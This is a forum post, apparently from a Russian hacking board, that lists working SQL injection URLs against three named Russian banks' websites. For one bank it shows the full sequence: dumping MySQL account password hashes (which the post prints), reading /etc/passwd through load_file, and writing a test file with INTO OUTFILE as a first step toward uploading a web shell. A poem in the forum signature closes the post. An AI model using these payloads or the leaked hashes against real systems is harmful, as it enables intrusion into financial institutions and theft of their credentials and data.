ANTICHAT - Показать сообщение отдельно

НБР - Национальный банк развития:

Код:

http://www.nbd.ru/ns/about/news/?id=-1+union+select+1,2,3,4,5,6,7,8,9,load_file('/etc/passwd'),11,12,13/*

Национальный банк ТРАСТ: кредит наличными, вклады, кредиты малому бизенсу, etc:

Код:

http://www.trust.ru/ru/about/careers/moscow/printable.php?from4=4&id4=-1'+union+select+1,2,3,4,5,6,7,8,9,10,11/*

Национальный Банк Развития Бизнеса - КБ «НацБизнесБанк» (OOO):

Код:

http://www.nbbank.ru/cnews/print.php?id=2'+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16/*

Рассмотрим поподробнее 1ин из них,
trust.ru
Рут:

Код:

http://www.trust.ru/ru/about/careers/moscow/printable.php?from4=4&id4=-1'+union+select+1,2,3,4,5,6,7,8,9,concat(user,0x3d,password),11+from+mysql.user/*

root:3c0f07ef742aa92a
trusrtbank-www:3c0f07ef742aa92a

Читаем файлы:

Код:

http://www.trust.ru/ru/about/careers/moscow/printable.php?from4=4&id4=-1'+union+select+1,2,3,4,5,6,7,8,9,load_file('/etc/passwd'),11/*

Пробуем залить шелл:

Код:

http://www.trust.ru/ru/about/careers/moscow/printable.php?from4=4&id4=-1'+union+select+null,null,null,null,null,null,null,null,null,'test',null+from+mysql.user+into+outfile+'/tmp/rest9999.php'/*

Записалось ли?:

Код:

http://www.trust.ru/ru/about/careers/moscow/printable.php?from4=4&id4=-1'+union+select+1,2,3,4,5,6,7,8,9,load_file('/tmp/rest99.php'),11/*

\N \N \N \N \N \N \N \N \N test \N

__________________
Я так же грустен как орангутанг
Сидящей пред галдящею толпою
Суровый житель отогретых стран
Коварно преданный разлуке и покою
Ему и мне насмешница судьба
Дала для жизни крохотную клетку
Нам предстоит в ней долгоя хотьба
За тертую морковь, и за конфетку..